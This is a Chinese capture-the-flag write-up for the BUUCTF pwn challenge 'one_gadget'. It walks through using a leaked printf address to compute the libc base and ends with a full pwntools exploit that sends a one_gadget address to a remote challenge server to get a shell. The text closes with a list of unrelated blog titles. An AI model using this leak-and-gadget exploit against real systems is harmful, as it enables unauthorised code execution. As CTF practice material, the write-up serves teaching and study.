[BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

附件

步骤:
例行检查,64位,保护全开

nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one gadget的地址

64位ida载入,shift+f12查看字符串,根据nc看到的字符串,找到关键函数


题目一开始输出的是printf函数的地址,题目一开始给了libc,知道了它的内存地址,就能够算出程序的偏移量了

print_addr=0x7fbe7e114830
offset=print_addr-libc.symbols['printf']
print offset


接下来我们找一下one gadget的地址

 one_gadget  libc-2.29.so


这边有4个one_gadget可以让我们利用,但是要满足寄存器的条件才能获取shell,会看汇编的可以去看一下哪个满足条件,不会的一个一个试一下(我就属于一个一个试的)

完整 EXP

from pwn import*

r=remote('node3.buuoj.cn',26120)
elf=ELF('onegadget')
libc=ELF('./libc-2.29.so') r.recvuntil('0x')
print_addr=int(r.recvn(12),16) offset=print_addr-libc.symbols['printf'] print offset one_gadget=[0xe237f,0xe2383,0xe2386,0x106ef8]
shell=offset+one_gadget[3]
r.recvuntil('Give me your one gadget:')
r.sendline(str(shell)) r.interactive()

最新文章

  1. Thinkphp批量添加数据
  2. cocos2dx-2.2.1 免 Cygwin 环境搭建(Win8+VS2013+ADT Bundle+android-ndk-r9c)
  3. 求割点 poj 1523
  4. codeforces 617BChocolate
  5. boost库区间range基本原理及使用实例
  6. Android应用清单文件:AndroidManifest.xml
  7. TCP/IP的网际层协议——ARP
  8. 模拟美萍加密狗--Rockey2虚拟狗(五)
  9. Thread.Sleep(0)的意义 操作系统中CPU的竞争策略
  10. 浅谈 JSON.stringify 方法
  11. xirr函数
  12. Java网络编程的Java流介绍
  13. vue-i18n和ElementUI国际化使用
  14. 搭建redis集群
  15. python flask 小项目
  16. MFC笔记1
  17. Java学习总结1
  18. Daily Scrum 10.22
  19. android中实现本地广播
  20. 04: python常用模块

热门文章

  1. CF30E. Tricky and Clever Password
  2. AtCoder Beginner Contest 204
  3. [Linux] 非root安装GCC9.1.0
  4. Docker 外部访问容器Pp、数据管理volume、网络network 介绍
  5. python 新闻管理系统——启示
  6. SSH客户端工具连接Linux(有的也可以连接Windows、mac、iOS等多系统平台)
  7. 『学了就忘』Linux文件系统管理 — 63、磁盘配额介绍
  8. accomplish, accord
  9. day13 装饰器与语法糖
  10. Redis6 新特性